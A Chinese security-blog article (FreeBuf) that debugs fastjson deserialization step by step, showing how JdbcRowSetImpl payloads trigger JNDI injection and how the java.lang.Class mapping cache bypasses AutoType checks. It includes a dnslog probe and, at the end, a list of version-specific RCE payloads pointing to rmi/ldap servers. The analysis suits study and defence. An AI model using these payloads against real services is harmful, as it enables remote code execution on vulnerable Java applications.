freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Z3专栏 | fastjson利用分析
2021-12-28 12:13:48
所属地 辽宁省

介绍

本篇fastjson开始用的是1.2.78(dnslog Payload分析),后来测试不能rmi利用,又将版本改为了1.2.41
jdk版本1.7(在前面jndi注入时分析过了,rmi利用对jdk版本有限制)

payload分析

dnslog Payload

首先分析个dnslog的payload
{"@type":"java.net.Inet4Address","val":"bouaiq.dnslog.cn"}
代码如图

在DefaultJSONParseer.parseObject开始解析json
调用栈如图

JSON解析主要代码都在这个while循环,首先读一个字符,如果是",那就继续读key,然后再读:,如果没:就报错expect ':' ,然后再读一个字符,如果是"那就是value,如果是{就继续递归解析
这就是大概的解析过程,代码里很多校验json格式的,处理异常

当遇到}时,就结束解析过程,返回构造好的Map对象

大概了解析过程,再看下它是如何解析@type的
首先读取到",然后解析出key是@type
后面对key进行了判断,进入到如图的if语句中,读出了typeName,即java.net.Inet4Address

然后判断typeName是不是完全数字组成,不是,则创建相应的Class对象

然后创建了deserializer对象,调用deserialze方法,这里触发了dns请求

deserialze方法中,先获取到val,然后调用InetAddress.getByName(地址)

通杀Payload

从这里开始fastjson使用1.2.41版本

{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/aaa",
"autoCommit": true
}
}

下面分析下这个payload

直接在DefaultJSONParseer.parseObject处断点

经过分析,第一步解析了rand1的键值对,使用Class.forName加载了com.sun.rowset.JdbcRowSetImpl类

第二步解析rand2,如图,使用checkAutoType创建com.sun.rowset.JdbcRowSetImpl的Class对象

checkAutoType方法
调用TypeUtils.getClassFromMapping方法,获取JdbcRowSetImpl的Class对象

getClassFromMapping方法,这里的mapping是一个hashMap,键值对分别是类名和Class对象
因为在第一步解析rand1时,加载了com.sun.rowset.JdbcRowSetImpl类,写入了mapping中,所以这里就可以获得com.sun.rowset.JdbcRowSetImpl类的Class对象了

获取到Class对象后,如图
和之前dnslog分析流程相同,创建ObjectDeserializer对象,调用deserialize方法

getDeserializer方法如图,是根据当前类的类型获取deserializer

继续跟踪deserialize方法,来到了JavaBeanDeserializer.deserialize方法

这个方法代码特别长,而且循环次数特别多,经过测试,命令执行就在这个函数。之前测试jndi注入时分析过,rmi利用,命令执行会经过NamingManager的getObjectFactoryFromReference方法,所以直接在这里加断点,成功拦截命令执行。
调用链如图

回头看JavaBeanDeserializer.deserialize方法,如图,解析Field autoCommit

如图,获取到autoCommit的值,设置value

如图,获取到setAutoCommit方法,通过反射调用setAutoCommit方法,设置autoCommit的值

继续跟踪setAutoCommit方法。这个方法里,不仅设置了autocommit值,还顺便判断了conn,如果conn为null,还会调用connect方法。

如图,connect方法,对datasource进行lookup,导致命令执行(这个原因在JNDI注入篇分析过了)

填坑

这里在从json数据解析对象的值时调用JavaBeanDeserializer.deserialize方法。
这里的JavaBean是java的一种特殊类,类方法有很多set和get方法,可以用来设置或获取类的属性值,
如:

这种JavaBean格式优点就是,不需要直接访问类成员变量,可以通过get、set方法、对数据访问、修改。
而且变量名和get、set方法有规律:set/get+首字母大写的变量名,这种方式很容易通过反射访问、修改数据值。

所以JavaBeanDeserializer,意思是JavaBean反序列化,但是,不是正常的java普通对象的反序列化,而且JavaBean的反序列化。JavaBean序列化和反序列化过程也很简单,就是调用get提取数据,转json,或从json读取key,调用set方法,设置属性值。

所以,上面的例子,fastjson在解析json到对象的 过程是

解析rand1,发现@type值为java.lang.Class,使用Class类型的Deserializer加载了com.sun.rowset.JdbcRowSetImpl类,并创建Class对象,这个类写入了mapping

解析rand2,发现@type值为com.sun.rowset.JdbcRowSetImpl,在checkAutoType方法中,查询mapping,获得com.sun.rowset.JdbcRowSetImpl类的Class对象(在1中写入的)

使用步骤2中获取的Class对象创建了JdbcRowSetImpl对象,然后读取rand2的键值dataSourceName,调用对象的setDataSourceName方法,设置dataSourceName值。再调用setAutoCommit,设置autoCommit值
在setAutoCommit方法中,不仅设置了autoCommit值,还进行判断,conn值为空就调用connect方法
在connect方法中,lookup了dataSourceName,导致命令执行

另一种payload

{
"rand3": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://127.0.0.1:1099/aaa",
"autoCommit": true
}
}

和上面那个区别,少了"@type": "java.lang.Class"部分,这部分是为了防止调用checkAutoType方法时获取不到com.sun.rowset.JdbcRowSetImpl的Class对象。

所以直接在DefaultJSONParser.parserObject调用checkAutoType方法处加断点。
如图



和上一个payload相同,但是这次少了"@type": "java.lang.Class"部分,所以mappings没有com.sun.rowset.JdbcRowSetImpl的Class对象,所以这里返回null
报错如下

看来当前版本不支持这个paylaod。

在调试checkAutoType方法时,发现如图

只要满足了if里两个红框的条件,就会使用loadClass加载类

第一个红框autoTypeSupport的值在当前fastjson版本默认是false

第二个红框变量expectClass是形参,在函数调用时传入的值就是null,所以这个条件是不可能满足了

所以这个payload适合于autoTypeSupport的默认值为true的老版本fastjson或有人主动开启了autoTypeSupport的fastjson

因为开启clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);

deserializer分析

再回顾下刚才代码调试的过程,在解析下面这段json时,创建了com.sun.rowset.JdbcRowSetImpl的类对象的原因在MiscCodec.deserialze方法中

"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}

在此处被调用

首先是this.config.getDeserializer方法,如图。
首先会去this.deserializers里找,这个类对象对应的反序列化工具(这里的java.lang.Class类型,在this.deserializers里找到了)。
如果找不到,还会根据下面的一些类型,返回相应的反序列化工具。

Class对应的反序列工具是MiscCodec类型,在MiscCodec类的deserialze方法中,还会对类型进行判断,如图,不同类型对应不同方式处理。

类似的,再回顾下dnslog Payload
java.net.Inet4Address类获取到的deserializer也是MiscCodec类型
则,在MiscCodec.deserialze方法中直接匹配到了InetSocketAddress的if语句中

对应处理方式如图,,所以会产生dnslog记录

总结1

// payload 1
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/aaa",
"autoCommit": true
}
}
// payload 2
{
"rand3": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://127.0.0.1:1099/aaa",
"autoCommit": true
}
}

payload 2适用于开启了autoTypeSupport( AutoType)的fastjson

payload 1比payload 2应用更广泛,是 AutoType的绕过版本

payload 2使用TypeUtils.loadClass加载类,获取TypeUtils.loadClass类对象

payload 1先实例化com.sun.rowset.JdbcRowSetImpl的java.lang.Class对象,写入mapping,然后调用

TypeUtils.getClassFromMapping方法,从mapping中获取JdbcRowSetImpl类对象

总结2

fastjson漏洞产生根本原因是反序列化JavaBean(JavaBean特有的反序列化方式)时,先加载类,然后创

建JavaBean对象,再用set方法,还原对象的属性值

有人发现com.sun.rowset.JdbcRowSetImpl的setAutoCommit方法可以调用connect方法,而connect方法

调用lookup,而lookup的数据源可控,这样就可以导致jndi注入(JNDI注入篇讲过)

所以构造了payload

{
    "rand3": {
      "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
      "dataSourceName": "rmi://127.0.0.1:1099/aaa",
      "autoCommit": true
    }
}

fastjson发现漏洞后,在加载类这一步做了拦截(AutoType默认值为false),导致加载com.sun.rowset.JdbcRowSetImpl类会失败

又有人发现绕过方法

由于加载类的函数autoTypeSupport中提供了两种加载类的方式,一种是直接加载,由于AutoType默认值

为false这种方式已经被禁用了,另一种是去已经加载过的类中去找(相当于缓存,应该是为了提高效

率,每次加载类都会,存到mapping中,下次再加载直接去mapping中调用)

又因为在反序列化工具类MiscCodec的deserialze方法中,对不同的类型有不同处理方式,对Class类型处

理方式就是,加载val对应的类,,所以构造如下

{
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
}

这样就可以加载JdbcRowSetImpl类了,然后存到mapping里。配合上面总结的,下一次需要加载JdbcRowSetImpl类时,会使用第二种方式加载类:即直接从mapping。

找已经加载好的JdbcRowSetImpl类对象,结合上面两部分,就成功绕过了AutoType的限制。

以上两种paylaod最终都是通过JdbcRowSetImpl,构造jndi注入,导致rce。

第二种绕过的关键在于deserializer(反序列化工具类),不同的类(@type指定的),对应不同的deserializer,而deserializer的deserialze方法对不同的类,也会有不同的处理方式。

所以可以多翻一翻this.deserializers变量里的deserializer,看一看它们对不同类的处理方式,也许就有能

会有一些deserializer的deserialze方法,可以用来绕过,甚至直接造成rce(本次的绕过,就是由于Class

对应的deserializer的deserialze方法,对val进行了加载)。

payload总结

以下是fastjson的其它payload总结

来自 https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp

这篇文章还有很多其它payload
这些payload就不一一分析了,其实原理都差不多,加了一些绕过方式

fastjson<=1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

fastjson<=1.2.41
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

fastjson<=1.2.42
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

fastjson<=1.2.43
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

fastjson<=1.2.45
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

fastjson<=1.2.47

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://x.x.x.x:1999/Exploit", 
        "autoCommit": true
    }
}

fastjson<=1.2.62

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

fastjson<=1.2.66
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
# java漏洞 # java # java反序列化 # Java代码审计 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录